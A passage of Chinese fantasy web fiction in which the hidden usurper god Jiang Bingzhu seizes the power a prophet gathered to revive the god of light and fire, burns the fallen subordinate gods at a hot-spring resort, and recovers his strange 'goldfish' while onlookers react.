不知道祂真正的异能是什么、不知道祂的弱点在哪里。祂用了某种特殊的方法隐藏了自己的信息,甚至连神明的力量都无法彻底解析。 然后,令先知怎么也没想到的是,那个东躲西藏的篡夺者,主动出现在了神殿之前。 当时事情发生得太快,祂又离得太远,并不知道具体发生了什么,只看见神的火焰高高燃起,温度升到极致,对神焰天然有着豁免的神殿处在那样的热浪下,都几乎要融化了。 那是神明毫无保留的、施展出的最强力量。 先知很少看到神明全力以赴出手的时刻,祂并不认为在这样的一击之下,还有什么存在能夠保住性命。 但荒谬的是,在那一天,祂率先感受到的,竟然是神明的死亡! 还有逐渐在祂身体不断内流失的,来自神明馈赠的力量。 祂自始至终不明白当时发生了些什么,只知道篡夺者用比他们预想中更快的速度夺走了神明的权柄。 火舌向祂们席卷而来,先知和同僚们惊慌地逃跑,意外地来到了这个人类的位面,从此再也没有回到过诡异世界。 算算时间,现在可能接近那个篡夺者突然出现的时刻了。 先知因此紧張了起来,好在祂所提防的家伙并没有出现——或许是因为,自己回忆的重点在于神明,而不是那个存在吧。祂思索一番,为自己找到了相当合理的解释。 先知稍稍安心,终于锁定了教主气息所在的位置,到达了那个地点。 为这一刻,祂已等待很久很久。 江亦宁跟在祂身邊,不由自主地屏住了呼吸。 他猜到了接下来会发生什么——先知会寻找到那位真正的神明,然后借助神明的位格与力量,帮助祂完成真正的复活,回归应有的位置。 江亦宁确信自己在这之中起到了重要的作用,他追隨着先知的目光,看着神殿前聖洁又广远的空间,就像看到自己光明的未来。 只是……那里空空荡荡,没有一个影子,更没有类似神明和祂神使的存在。 江亦宁一愣,紧接着看向先知。 认識先知以来,江亦宁就知道,这是一个彻头彻尾的“谜語人”。他成百上千次地想从祂的反应中找到一些线索,每一次都无疾而终。 唯有这次,在那张堪称神聖的、真的能通晓未来的脸上,江亦宁看到了……意外。 先知也没料到这个结果? 那他之前那么兴奋,又是在忙活什么呢! 江亦宁在心底骂了一句,目光不断逡巡着,和先知一起,争分夺秒地试图寻找到一些线索。 然后,他看见了一个相当熟悉的身影。 那家伙身穿一件宽鬆的黑色浴袍,长发被水汽打湿后没有再扎起来,而是松散的披在肩侧。 在黑发与黑色衣服的衬托下,他的皮肤更加苍白,整个人莫名多出了一点阴郁的气质,行走在异变的温泉山庄里,比那些被诡异影响的客人更像是鬼。 尤其是,他还漂亮得过分。 江亦宁呆了片刻,下意識觉得,心中冒出的第一个念头竟然是:江秉燭长得这么好看吗? 然后,他才又一次感到无语。 ——江秉燭没死就算了,怎么天天阴魂不散,哪里都在的! 他在心底吐槽的同时,也发现江秉燭完全没有意识到这边的注视,只是一边走,一边抬头望着天空。 和往常一样,他总是在发呆。 就是这么一个人,脱线、木讷,和京城的上流社会格格不入。 刚刚得知双方身份时,江亦宁只把江秉烛视为自己人生的污点,从没想过他会如此顽固,一次又一次地在自己的安排里活下来,越来越多的人和他交好,其中甚至包括了江亦宁自己费尽心思也没能成功结识的。 陆文泽、费尔南多、周夜阑…… 到底是凭什么! 江亦宁嘴唇微张,正想向先知做出请求,忽然间,发现先知和自己正看向同一个地方。 同一个人。 “老师,您发现什么了?”江亦宁警觉起来。 先知却没有回答。 祂紧紧地盯着前方,目光随着那名黑发少年的步伐移动,没有一点后退。 在更远一些的地方,一群人类异能者为了寻找自己的同伴,在时光回溯造成的迷霧里乱窜。而就在这片迷霧之外,其它那些犹豫的从神尚未彻底退开,仍在观察局势,寻找出手的时机。 可不论是人类还是从神,先知都没有置喙。 祂只是自顾自地说:“我明白了、我明白了。” 江亦宁:“?” 你到底明白什么了?! 他实在受不了了,他身边的人和诡怎么有一个算一个,见到江秉烛就全都不正常起来了! 那家伙是有什么不为人知的异能吗,别人见到他,就跟撞邪了似的! “近来我一直能够感受到主的气息与力量,却并未得到过祂的神谕,反而是你,率先接到了祂的提示,”先知用一种飘渺的语气说。 江亦宁似懂非懂地点了点头。 他在幽帝行宫的时候,曾经按照过先知教授的方法进行过祈祷,确实得到了还算有效的回应。 先知:“我一直在想,祂为什么不直接与我取得联系,与我主相关的契机,又为什么会在你身上。原来……是祂为自己寻找了容器。” 是的,容器。 诡异世界里,状态不佳的高位存在可以将自己的力量寄存于其它生物,然后陷入沉睡。等自身被生机修复到一定程度后,选择合适的时机醒来。 这期间,祂的力量很难被动用,一般只有与容器关系相近的人,才能同祂进行沟通。 如果江秉烛幸运地被光与火之神选做容器,那么一切就说得通了! 显然,江秉烛那点微弱的异能不足以让真正的神明就此苏醒。 但现在,先知已经利用自己的谋算,重新出光与火之神神殿往日的辉煌。 这股力量虽然只是暂时的,运用得当,却真的可能让祂的主复活! 电光火石间,先知已经做出了打算。祂没有继续解释,只是引动神殿幻象剩下的能量,全部向着江秉烛而去。 祂不在意那个被当成容器的少年会怎样,也不在乎一具肉体凡胎能不能承受得了这样磅礴的力量,只是倾尽全力,促成那场命运早就注定的,神明的归来。 这是祂等待已久的时刻。 烟尘漫卷,水汽翻腾,天地似乎都随着那股力量的更迭而发出轰鸣。 无形而庞大的异能散开,甚至模糊了先知这样存在的感知。 祂焦灼地站在原地,忽然之间,不知道自己应该做些什么。冥冥中,仿佛听见自己胸腔里那颗象征性的心脏,因为激动而剧烈地跳动着,虔诚地等待着神明的降临。 终于,烟雾散去。 可出现的,却不是先知朝思暮想的那位神明。 黑发的少年依然站在原地,浴袍的袍角在狂风中翻飞着,他看起来还是那个普通得、没有特点的人类。只除了,一抹跳跃的金红色火焰像花瓣一样,在他指尖绽开。 江秉烛盯着那抹火焰,感受着自己捏出来的这具化身里,终于充盈起真正的异能。 “我和阿德莱亚与谭慧说过,与命运相关的异能容易让人产生误解。”他淡淡地开口。 “你们把看到那条河的流向当作最重要的事情,去预言每一个人的未来,但总是忘记你们本身,也是那条河的一部分。” 他的语速很平缓,听起来,真的有点谆谆教诲的意思。 “你以为你窥探到了命运,但你做的,只是完成它而已。” 江亦宁发觉自己听不懂江秉烛在说什么。 完全听不懂。 可是在他身边,先知的身体在颤抖,连带那身圣洁而高贵的曳地白袍,都因为祂的失态而不停地晃动着。此时此刻,祂才像是要被狂风吹倒的那个家伙。 时间过去了太久太久,先知早就忘了,自己是什么时候获得“先知”这个名号的。 但祂确信的是,那场关于“神位篡夺者”的预言,那能够窥探正神命运的能力让祂真正成为从神之中,总需要被戒备的一位。 先知也曾因为这份预言后悔,但更多时候,祂确信自己是被命运选中的那个——连命运之神本身都未曾窥见的未来,只有祂见过。 可眼前这个“少年”在说什么?祂的意思是…… “你、你……” 先知发觉,自己很难从起伏的心绪中,组织出一句完整的语言。 在祂开口之前,江秉烛半眯起那双猩红的眼瞳,幅度很轻地笑了笑。 “好久不见。” “被我选中的‘先知’。” 【作者有话说】 又来晚了……本章评论区还是随机30个小红包 第73章 什么叫……被他选中? 先知向后退了一步。 这是不该出现在祂身上的动作, 像祂这样的存在,在不受阻拦的情况下,如果真的想离开某个地方, 只需要一个念头而已。 祂很早之前就脱离了凡物的范畴, 可在此时,祂的举动仍然与受到惊吓的凡人没有区别。 祂身上原先的圣洁与高深莫测,都在这时候散得没边儿了。 “不、不对, 你怎么可能干涉命運!” 这方面的异能太重要了, 除了命運之神外, 其它达到了一定层次、可以动用相关權柄的人,祂都心里有数。 面前这个存在绝不可能是其中之一! 江秉燭仍然是一派平静地笑着。他笑起来其实比平常还要好看,那种美丽其实很难形容。 妖异的、夺目的。 ……让人颤栗的。 “哦,你忘记我了,”江秉燭不咸不淡地说,“但我等过你。” 他的语气又和之前一样,變得有些无聊,仿佛世上的大部分东西都无法提起他的兴趣。 反而是先知因为这席话, 开始瘋狂地回憶过去的事情。 由于祂异能的特殊性,过去漫长的回憶对于祂来说,只需要几个瞬间就可以重新浏览。 而在那长河般的记忆中, 祂不断地向前翻阅、向前回溯。 祂看见, 漆黑的触手撕开神殿厚重的大门,打翻金碧辉煌的穹顶。在那些触手的尽头,站着一个黑发红瞳的年轻人。翻卷的神焰被祂踩在脚下, 甚至无法灼烧祂的衣袍。 祂看见, 那个命定的篡夺者一次一次从众神的圍猎中殺出重圍, 祂和那个金发的同伴并肩站在天幕下, 发丝在空中纷飞交錯,張扬又耀眼,不会被任何存在束缚。 祂记得,因为自己那近乎神迹般的预言,众神对所谓的篡夺者、和所有可能威胁到祂们身为的存在都开启了瘋狂的追殺——祂们几乎动用了一切可以动用的力量。 炽日高悬、海水漫卷,时间与空间的弦被不断拨弄,死亡与腐烂如附骨之疽,蔓延至整片大陆。 也不知是出于什么原因,那些被追杀的家伙竟然都在燭的身边聚集起来。 他们看起来螳臂当车、不自量力。先知当时并不认为,这些乌合之众之间的合作能够对神位产生真正的影响。 但……祂或許錯了。 祂继续向前追溯,回到很久很久以前。 那时,先知作为光与火之神的从神,代祂向信众们收取贡品。 在那一众灰头土脸、骨瘦如柴的人類匍匐在祂脚下,一張张瘦削的面庞上写满了殷切与渴求。 但在人群中,有一个格格不入的身影。 那是个高挑的年轻人,披着普通的黑袍,黑色长发凌乱地垂在肩上,下半张脸都被挡住,只露出上半张精致得非人的面容。他有一雙如红宝石般火彩璀璨的眼睛。 在所有人類虔心祈祷时,他无悲无喜地抬起头,在空中和先知目光交错。 先知有一瞬间意外,但这样的人類对祂而言太渺小了,即便是冒犯都无法引起祂任何心绪波澜。 祂平淡地抬起手,打算终结掉这个不敬者的命运。 但很巧的是,在那一刻,信徒们结束了他们的祈祷。一个个高声称颂着光与火之神的尊名,整齐划一的赞颂成了方圆几百公里内唯一能听到的声音。 于是,先知放下了手,忘记自己刚才想要做些什么,看着数量庞大的信徒,再次相信了光与火之神的神位绝不可能被轻易撼动。 可是……真的吗? 温泉山庄里,先知站在被他想尽了方法才短暂恢复的神殿前,望着黑发的少年。 望入了同一雙无悲无喜的红色眼瞳。 “咔哒。” 时隔很久,先知终于听到了祂高高在上时,不曾从信徒的浪潮中听到的声音。 ——命运的齿轮,从那一刻开始转动,落到了另一个人的手里。 燭说,祂等待过自己。 等待得是什么? 祂等得真的只是自己吗,还是自己掌握的这一份,与命运之河相关的异能? 先知心神巨震,所有不曾想到过的疯狂念头全部涌入祂的脑海。 祂向后退,脊背靠在了神殿洁白而坚实的柱子上,却并未觉得自己得到了一丝依靠。 如果说自己的预言从一开始就是面前这个存在一手策划的,那么祂不为人知的、真正的權柄到底是什么? 近千年过去了,詭异世界的神戰,究竟有没有落下帷幕? 站在祂面前的,究竟是…… 江秉烛打了个响指,先知身后光与火之神神殿的虚幻影象消失得彻彻底底,不留一点痕迹。 而其中曾经蕴含的磅礴的能量,早就在先知的操纵下,汇入了一具捏造而出的、模仿人类的躯体。 江秉烛活动了一下手腕。有了这些能量,他活动起来,确实比之前顺畅了不少。 但更重要的是,这样一来,他就能在维持这个位面的安全的同时,使用一点真正的异能了。 “多谢了。”江秉烛说。 与此同时,一道金色的影子无声无息地降临在他身侧,气息温暖又熟悉。 “我只是提供了一点微不足道的小建议,”周夜阑谦虚地说。 他自然地挽起江秉烛湿漉漉的长发,动作轻柔又有耐心。他平常冷得不像活人的指尖多出了一点恰到好处的温度,伴随着异能的微光,一点点驱散江秉烛发间的水汽,然后替他将长发重新绑成一个柔顺漂亮的、垂在肩侧的低马尾。 江秉烛摆弄着自己的辫子,指尖捻着几绺发丝:“是我喜欢的风格。” 周夜阑无言地看了他一会儿,不知在想些什么。 过了片刻,这人一如既往的斯文地笑起来:“我想,你剩下的几條魚,也一定会喜欢的。” 江秉烛“嗯”了一声,轻轻点了点头。 —— 温泉山庄。 笼罩在考生们头顶上的那座宏大建筑在忽然间消失不见了,他们却没能因此而松一口气。 因为那些数量更多的、不知从何而来的恐怖气息并没有消散,反而离他们越来越近。 那种超然的力量,已经完全超过了他们可以感知的范围。但恐惧是人类的本能,早在他们的大脑明白过来发生什么之前,身体便代替他们做出了反应。 他们的步伐在减缓、身体在颤抖、内心没来由的生出一种匍匐的冲动,想要作为低位的存在,向那些比他们更高等的生物臣服。 此时此刻,所有清醒的异能者都知道,这个位面危在旦夕,他们的朋友亲人全部面临着灭顶之灾。 可是不论再强的信念,都没办法让他们做出任何反抗。 这和之前的一切情况都不一样。 除了绝望与无力之外,他们还感受到了一种深深的自我怀疑。 ——他们能做什么呢? 别说他们了,整个位面的异能者和普通人加起来,又能让当前的局面有所改變吗? 一切的一切、早就超出了人类力所能及、甚至望都望不到边的范畴。 早知这样,其实他们不如留下来,跟着黎双白与谭慧一起向未知的存在祈祷。 反正都是无用功了。 A班的学生们怎么也不明白,那些可怖的詭异到底为什么要降临在他们这个并不值得关注的小世界。 高天之上,那些令人心惊胆戰的能量还在迫近。 他们被迫停留在了原地,忽然之间,视线所及之处,却看到了几條漂浮在空中的……魚? 那些魚的颜色鲜艳,飘扬的大尾巴和魚鳍上点缀着华美的光彩,比世界上的一切宝石都更惹人注目。 这样的鱼只看一眼,就知道绝对不是凡品,甚至可以让人为之忽略“鱼为什么能在空气里游泳”这些违反物理与生物常识的问题。 但为什么……金祈安和时间兄弟心头,忽然冒出一模一样的疑惑。 这些鱼为什么会和江秉烛向他们展示过的金鱼,长得有点相似? 不论怎么说,就算世界要毁灭了,他们班柔柔弱弱又过分善良的普通人小江,也养不到这种鱼吧! 他们还有許多疑问亟待解决,可旧日的从神却没有留给他们任何时间。 先知那边的他们暂时不愿去碰,但他们以真身降临这个位面,自然不可能只有一个目的! 自某一刻起,从神们不约而同地调转了方向,朝着特定的地点而去。 ——祂们终于清晰地感受到了自己信奉的神灵的召唤! 这个时候,祂们如果能及时赶到,必然可以为神明的复苏助力。 但不巧的是,周围的异教徒太多了。在只有先知作为敌人时,祂们可以联手,但在复活各自的神明这件事上,祂们永远不可能达成一致。 哪怕一句话也没说、一点交流也没有进行,从神们依旧迅速地决定了自己的行动方略,一边与缠斗过成千上万年的老相识继续纠缠,一边向神发出信号的地方逼近。 祂们都想成为第一个接触到自己神灵、并将之复活的人。 而在这种时候,任何一点微小的力量,都有可能成为关键的助力。 这附近几座城市里,所有强大的诡异生物早先都被祂们吸干了,剩下的,也就只有被传送到温泉山庄来的异能者们。 掌握不同权柄的从神们一言不发,却同时开始自人类身上,汲取自己想要的力量。 不久前发生在诡异生物身上的事情,在人类异能者身上开始重演。 那一刻,他们再也无法站立,全部跌倒在地,连简单的呼吸都变得困难无比,意识马上便要消弭—— “不好意思。” 一个懒散的声音忽然打断了整个过程。 虽然嘴上说着敬语,但声音的主人没有一点抱歉的意思,满满的全是敷衍。 这个时候,竟然还有人可以自由行动吗! 被困的异能者们身体不受控的战栗更厉害了,只能拼尽全力睁大眼睛,试图透过水雾,看清来人的身影。 从那片雾气中,一个高挑而单薄的少年走了出来。 伴随着他的步伐,许多巨型的奇形怪状的东西从天上落了下来,在地上疯狂地扭曲着,挣扎的样子和之前的人类没有什么区别。 江秉烛懒散地向前走,在他脚下,某个长条状的诡异影子发出了一声呻/吟,他却跟完全没听见一样,踩着旧日的从神,像是在踩一块放久了、落满灰尘的老地毯。 一片寂静之中,江秉烛走到A班几名学生面前,他问: “你们谁看见我的金鱼了吗?” 【作者有话说】 本章评论还是随机30个小红包[求你了],谢谢大家的等待 第74章 江秉烛? 站在他们面前的, 是江秉烛?! A班学生几乎没有听到他后面的问题,全都愣愣地盯着来人。 除了那双由漆黑转变为深红的眼睛外,江秉烛和他们印象中的没有任何區别。包括懒洋洋的声音、对什么都不大上心的态度, 还有身上微弱得接近没有的異能。 可、可是…… A班的学生们不约而同地狠狠闭了下眼睛, 再睁开时,江秉烛还是站在他们面前。 看着学生们整齐划一的动作,他有些疑惑地眨了眨眼。 这一次, 江秉烛甚至都没能从这些人类的心声中得到有效信息, 只是听见自己的名字在他们脑海里不停地循环。 A班的学生覺得自己的cpu都要被烧干了, 此时此刻,根本没有余力去想任何其它事情。 他们呆呆地看着江秉烛,直到这个时候,才后知后覺地意識到——感受不到对方的異能,并不止有“他太弱小了”这一个可能。 江秉烛脚下,那团深灰色的、凝聚着浓郁阴森气息的影子上,暗红的、血一样的觸肢不斷延伸出去,试图向远方攀爬。 不久前, A班学生在他们头顶的天空中见到了类似的光芒闪过,他们知道那些血红的觸肢里蕴藏着多么恐怖的力量。 在想清楚发生了什么之前,他们下意識提醒道:“小心——” 他们话音未落, 江秉烛脚尖轻轻往前踢了一下, 一条条蔓延出去的红色触肢便全部斷掉了。方才仿佛还凌驾于万物之上的从神在地上打了个滚,“嘎”了一声,发出痛苦的叫喊。 而不远处, 其它跌落的家伙们抖得像是筛糠, 在溫泉山庄本就湿润的地面上溅起一層層水花。 和几秒钟之前A班学生见到的那些深不可测的存在, 简直不像是一个东西。 半晌没得到回複, 江秉烛叹了口气,重複了一遍自己的问题。 “你们见到我的金魚了吗?尾巴很大,很漂亮的。” A班学生:“……” 这种时候还那么在意金魚,这確实是他们認识的那个江秉烛。 他们刚想要回答,却发现之前那几条在空中悬浮的特殊金魚不知什么时候便消失不见了。它们的速度快得惊人,行动又極为敏捷,在那样令人震惊的場面中,没有引起任何人的注意。 所以说,江秉烛一直在找的,根本不是正常的金魚吧! 仿佛听见了他们在想什么,江秉烛抬起头,認真強调道:“是正常的金鱼哦。” “它们只是有点不乖而已。” 他说完,金红色的火焰以他为圆心,毫无征兆地开始燃烧。 传说之中的神焰沿着溫泉山庄大大小小的幽径向远方奔涌,流入群山之间,璀璨的光芒照亮了沉睡多年的死寂的火山群,为这座已经被京城遗忘的山庄镀上了最后的辉煌。 可是,那本應灼烧万物的火焰所经过的地方,溫度却没有升高半分,更没有引燃任何草木。如果忽视那些顷刻间便在焰火下化为飞灰的从神,那静静燃烧的火焰竟然是溫柔的,化作一张沉默的、不可挣脱的天罗地网,将整片山脉拥入怀中。 在光与火之间,江秉烛本就白皙的皮肤被映出一点接近透明的、玉石般的质感。可是那样明亮的火焰也不曾照亮他的黑发,低马尾垂在颈侧,将火光中少年的眉眼衬出了一种前所未有的、令人头晕目眩的妖異。 不远处,先知的视野里,全部是曾经属于祂的神明的金红色的光芒。祂的瞳孔几乎被这样鲜明的颜色填满了,唯有中间余出一个小小的黑点,属于那个“少年”单薄的影子。 祂感受得到,自己借助这处温泉获得的短暂的力量已经消失了,祂具象化出的神殿更是早在烛现身后就被祂摧毁。 可是现在,祂的记忆仍然回到了近千年前,篡夺者出现的那一刻。祂最想回到的、最想做出改变的那一刻—— 然后,祂被火光吞没了。 视野黯淡下去的最后一秒,先知看见几尾漂亮得不真实的鱼惊慌地向远方游去,而祂在它们身上,感受到了不同寻常的力量。 在它们试图找到火焰的缝隙,跑得更远前,一抹凝聚了人心恶念的影子配合着神焰恰到好处地出现,彻底封锁了所有金鱼的退路。 —— 京城已经乱成了一锅粥。 不久前,大多数权贵还坐在看台上,欣赏着今年的参赛者们,并对他们應对诡異时的手段做出点评。 可随着几道气息的降临,他们不仅和参赛者们失去了一切联系,那些异能稍微排得上号的异能者们,也一起跟着消失在原地,留下一群惊慌失措的人,对当前的情况两眼一抹黑。 各种各样的噩耗像雪花一样,传进他们的耳朵。 京城中,和他们结有契约的那些強大诡异生物全部死了。 那些世家中,积威深重的“老祖宗”们也一个接一个地被害。 直到温泉山庄所在的那片山脉上,燃烧起令人心悸的熊熊火焰时,那几道恐怖的气息突兀地消失,剩下的人才有空思考这一切。 他们不知道刚刚发生的事情,是不是诡异降临的前兆——或者诡异降临已经开始了一部分,但是又被什么人所阻止了。 但对他们这些京城人来说,现在的情况非常、非常不好。 长期生活在京城的人,不仅知道诡异的存在,还大部分都是异能者。这让他们的地位相当超然,看其它外城區那些一无所知的普通人,就像高维生物俯视着低微生物一样。 就算有些外城区的人天赋异禀,他们也没有多年以来的家族积累,没有家族中那些可以为他们保驾护航的神选者们,不论再怎么努力,都不会威胁到他们的生活。 但是现在,他们日常所仰仗的强大存在全都不在了,他们引以为傲的积累随着那場火被燃烧殆尽。 或许不能继续维持他们的超然地位,这是比世界毁灭,所有人一起死掉更糟糕的结局。 剩下的人们当即开始重新计算家族的力量,不知道在这样的巨变之后,自己的地位会不会就此跌落。 而这个时候,得知温泉山庄里有数目不小的异能者幸存,这对他们来说,简直是再好不过的消息了。 没有一点迟疑,京城中的人立刻派出剩下的一切力量去温泉山庄接应。 出乎意料的是,那里的路况比他们想象得好了不少,尽管那金红色的火焰仍然没有任何减弱的趋势,但除了覆盖着地面的厚厚一层灰烬外,这里并没有太多被毁坏的痕迹。 幸存的异能者们聚集在温泉山庄门口,只不过,人群的分布有点奇怪。 一小撮人站在离大门较远的地方,用一种僵直的姿势站立着,每一个都双目无神,眼神呆滞,似乎受到了重大打击,san值狂掉。他们倒是还能对外界刺激做出反应,就是有点呆,而且在看到某个方向时,表情总是不太正常。 大概……是什么后遗症? 黎双白一边拉着江秉烛,一边忧心忡忡地看着赵一清他们。 “我想再向至高神大人祈禱一次,”他说,“祂比我想象得更加伟大、更加仁慈。只是我不知道,应该做些什么,才能回报这样一位至高无上的神明。” 黎双白认得那些包围了整座山的金色火焰。 那是神焰,光与火之神所掌控的能力,也是至高神的代表之一。 黎双白不敢那么自大地认为是自己的祈禱让至高神降临在这里,这其中一定有着更深层次的原因,涉及到高位存在之间的博弈。 可是他看得清楚,那么强大的神焰都不曾对这个世界的周边造成一丝一毫伤害,这本身就说明了许多事情。 至高神大人確实和其它所有旧日的神明都不一样。 江秉烛:“?” 那倒不是因为这个。 温泉山庄下方的自然之神还没有彻底死去,但已经很虚弱了。在找到鱼之后,他还有些事情想要亲口问祂。 如果动静太大,他怕那家伙当场死了,万一复活之后,能力就没那么有效了,对自己来说还更麻烦。 但这些解释起来,也挺费心的。江秉烛还在看着周夜阑和他手里拎着的几条鱼,闻言怔了怔:“要不,你给他买点鱼饲料?” “小江,”黎双白认真地指正,“尽管大人物们似乎都对养鱼有一些偏好,但至高神大人一定有着更高级的品味和乐趣!对了,大领主和希格尔德那些存在的命令如果叫你感到为难,或许你也可以试着向至高神大人祈祷。” 他说完,赵一清和金祈安等人忽然开始剧烈地咳嗽起来,脸上出现了一种很难以形容的表情。 连黎双白这样擅于观察细节的人,都没从那么复杂的面部活动中读出必要的信息,这无疑让他的担忧更上一层楼,去联系那些前来支援的京城人们,向他们寻求医疗援助。 在过去的路上,他偶然碰到了江亦宁。 这位在京城风云一时的江家二少爷这时灰头土脸,身上極其狼狈,状态近乎疯癫,嘴里不停地重复着一句话—— “祂、祂不是真的……” “祂不是江秉烛!” 【作者有话说】 本章还是评论区随机30个小红包[求你了] 第75章 黎雙白脚步微顿。 他調查过江秉烛, 知道了他的身世,便也明白了为什么在之前的相处中,江亦寧總对江秉烛有着莫名的在意, 和较为明显的敌意。 因此, 黎雙白本来并不怎么在意江亦寧的话。看这人的状态,他现在更需要的是一些精神上的治疗才对。 在见識了江亦寧的所作所为之后,黎雙白对他并没什么好感, 但此时江亦寧一直在念叨江秉烛的名字, 很可能会对小江造成不好的影响。 京城遭遇了巨變, 之后各方势力很可能要经历大洗牌。黎雙白不知道江家会走向何方、江秉烛会有怎么样的未来,但他希望,对于小江有负面影响的事情可以越少越好。 他已经很不容易了。 因此,黎双白暂时停了下来,好心地请来几位医务人员,让他们帮江亦宁进行检查。 但医生还没过来,身旁的人忽然死死地拽住他的衣角,泛着红血丝的双目盯着他。 “你是不是知道!” “你们是不是早就知道!” 知道什么?黎双白不明白江亦宁突然在说什么。 对方的神色介乎于疯狂与崩溃之间, 歇斯底里地大喊:“你们猜到了他的身份,所以才对他那么热情,对吧?不然, 他在你们学校怎么会过得好好的, 怎么会让我没有一点机会!” 江亦宁不停地重复着这几句话,分不清自己是在懊恼还是在后悔。 事到如今,就算还不能确认那个“江秉烛”的身份, 他也知道, 什么先知、什么光与火之神和祂比起来, 完全都不值一提。 可惜他之前从未想到过, 一个不起眼的、乡下回来的土包子会有那么超然的力量。而更不幸的是,江秉烛被江家送到了第二城去上学。不然,在日常的接触中,他一定可以发现那些异样,改做一个最贴心、最懂事的弟弟。 到那时,一切都会不同。 江亦宁想着,甚至又生出了愤恨。对江家夫妇、对先知、还有对和江秉烛做了同学的所有A班学生。 “你在说小江?”黎双白这下明白一部分了,江亦宁在说的,应当是江秉烛真少爷的身份。 于是他蹲下来,目光平视着江亦宁:“小江是个很好的人,善良、英勇而聪慧,想和他做朋友是一件很正常的事,不需要任何额外的筹码。” “有些时候,我自己还会后悔。成为异能者后,我们都太傲慢了,”黎双白慢慢地说,“自以为能解决一切,打着为普通人好的名义,掩饰自己过分的优越感。我们也做过一些……很不友善的事情。我很感谢小江,遇到他后,我才意識到自己的问题。而这一切,都和你所说的身份无关。” 善良、英勇……? 江亦宁听着黎双白的形容词,实在不能把它们和任何一个江秉烛联系到一起。 他觉得这番话说得冠冕堂皇的,显然只是托词。 黎双白这个人,还有A班的那些学生太虛伪了,到这个份上,竟然还在伪裝。 “你别得意!”江亦宁惡狠狠地说,“今天你自以为成功了,谁知道明天会是什么下场?” “看看他的那些……那些‘鱼’吧!” 他话没说完,医生们已经来了。对于这位江家二少爷的精神状况,表示十足的担忧。 黎双白目送着他们离开,本来要回去做自己的事情,脑子里却翻来覆去地重播着江亦宁刚刚的话。 他的理性对那句话的内容并不在意,可不知是直觉,还是什么别的東西,让他不停地想着这些,就像个要命的提示一样。 或许……是小江的鱼有什么问题?黎双白想。 毕竟江秉烛的身边,实在是出现过太多诡异了。如果他的鱼其实是什么神秘的诡异生物伪裝而成,黎双白觉得自己已经不会因为这种事而产生波澜了。 他想着,快速为其它的A班学生们请到医生。他们受到的精神损傷确实很重,尽管都有着一副欲言又止的表情,但还是被医生不由分说地推走了。 黎双白正要寻找江秉烛,向他询问一些鱼的细節,找了一圈,才发现小江同学已经不在原地了。 “在找烛?”一个溫文尔雅的声音从身后传来。 黎双白转过身,看见周夜闌得体到挑不出任何错处的脸。在经历了那么多事情后,这位周顾问的金发还是十分妥帖,就像江秉烛今天梳着的低马尾一样,显然也是精心打理过的。 “是的,”黎双白说,“您没有和小江一起吗?” 自从周夜闌和江秉烛表明他们认识以来,他发现这两个人總是待在一起,并且很有旁若无人的感觉——江秉烛看起来没有意识到这一点,但周顾问好像还挺乐在其中的。 溫泉山庄的危机刚刚过去,周顾问却没有和小江一起行动,这也太罕见了。 周夜闌深深往远方看了一眼,和那种堪称复杂的眼神不同的是,他的语調听起来竟然很平靜。 “他有自己的问题需要得到解答。” “那您呢?” “我么?”周夜闌轻笑了一声,垂下眼,俯视着手中鱼缸里那几条焦躁游着的鱼。 他屈起指節,隔着玻璃敲了敲。 他曾经,确实想要找到许多问题的答案。 从苏醒的那一天起,周夜阑就知道,他的记忆出过问题,少了很多部分。 他毕竟是人心惡念中诞生的诡异,和江秉烛不同,对于过去的经历,天然地多在意几分。 于是,周夜阑游历在各个位面之间,结交人類也结交诡异,渐渐地也拼凑出了一些有用的信息。 比如,他知道自己为什么少了点记忆——因为他死过一次。 可是这个世界上能够威胁到他的存在,几乎并不存在。 周夜阑尚未获得神格,但对自己的实力有着正确的评估。那些从神不是他的对手,如果是面对着掌握着单一权柄的正神,他也有一战之力。 他是怎么死的,他为什么会死,这两个问题困扰了周夜阑相当长一段时间。 他为此进行了更努力的追溯,去过更多地方、和更多高位存在进行“交流”,可无论如何,他也回忆不起当时的细节,最终所能看到的,只有一个模糊而飘渺的背影,属于一个留着黑色长发的青年。 自己是为了他而死的……? 周夜阑难以置信。 他知道,人類中会出现这样的行为,其中的一些,被视为伟大而难以复刻的牺牲。但周夜阑对一切相关词汇敬谢不敏,他只是有伪装好人的爱好,但这不意味着,他真的想拥有人類那些所谓的“美好品德”。 如果一个人心恶意中诞生的诡异真的为所谓的爱与勇气而死,那实在是太荒谬的一件事了。 周夜阑不需要睡眠,也不会有梦的存在。但是从那以后,那个模糊而不真切的影子总是在他闭上眼时出现,他们之间距离遥远,每次周夜阑想要拉住他时,影子都会在他的触碰下碎裂。 所以,到底是为什么? 周夜阑迫切地需要答案。 他一定要知道,自己怎么会做出那样的事——得是有正神级别的人向他下咒,他才会昏头成那样吧! 他在这个人类世界,发现了一些旧日神明的信徒们活动的痕迹,跟着追逐过来,打算从他们身上,获得想要的信息。 但在那之前的一个雨夜,他在第二城的昏黄小巷里,遇见一个在街边摊买小鱼干的少年。 他有着和梦里那个轮廓相似的背影,周夜阑一眼就认出了他,撑着伞走了过去。 周夜阑向前伸出手,问:“初次见面,方便认识一下吗?” 黑发的少年抬眼看向他,深色的瞳孔中,带着一抹不易察觉的猩红——在他梦里的那个背影,就該有一双这样的眼睛。 “砰,砰砰。” 雨点落在伞上,周夜阑听见有什么東西,跟着雨声一起跳动。 —— “滴答。” 露水顺着下垂的叶片向下坠落,落在江秉烛的肩膀上。 他走在溫泉山庄的大理石板路上,道路两侧的金红色神焰靜静燃烧着。已经沉寂了很多年的山庄因为这一次的诡异事件突然又来了很多很多人,灯火通明、车水马龙,依稀有几分当年的风采。 “这是你想要的吗?”江秉烛问。 过了一会儿,才有一个很苍老的、虛弱的声音在空中回答:“我很感激您让我活到现在,大人。” “但这里不該是这样的。” 江秉烛转过头,看着那个行将就木的“自然之神”。 这个世界曾经最接近于神的存在,能够活成现在这个样子,在他看来,实在是难以理解的事情。 祂有那样的力量,完全可以控制人类,让他们真的把自己送上神坛。这样一来,祂也不会因为后来自然受到的损傷,而變得越来越虚弱。 但是自然之神不愿意那样做,于是迎来了自己的衰微。经年累月之下,祂的执念和有着相似情感的温泉山庄融合在一起,最终形成了又一个吃人的诡异。 即使从头到尾,祂从未有过伤害人类的本心。可执念形成的诡异早已不受祂的控制。 用人类的视角看,这一定是桩悲剧。 或许是因为祂太有人性了,江秉烛不懂自然之神的行为逻辑。所幸他来找祂,也不是为了理解对方。 他打了个响指,中央温泉中仅剩的泉水升起来,里面蕴藏着自然之神的最后一点力量。 江秉烛正要伸手触碰那汪泉水,在旁边虚弱得要死的自然之神忽然开口。 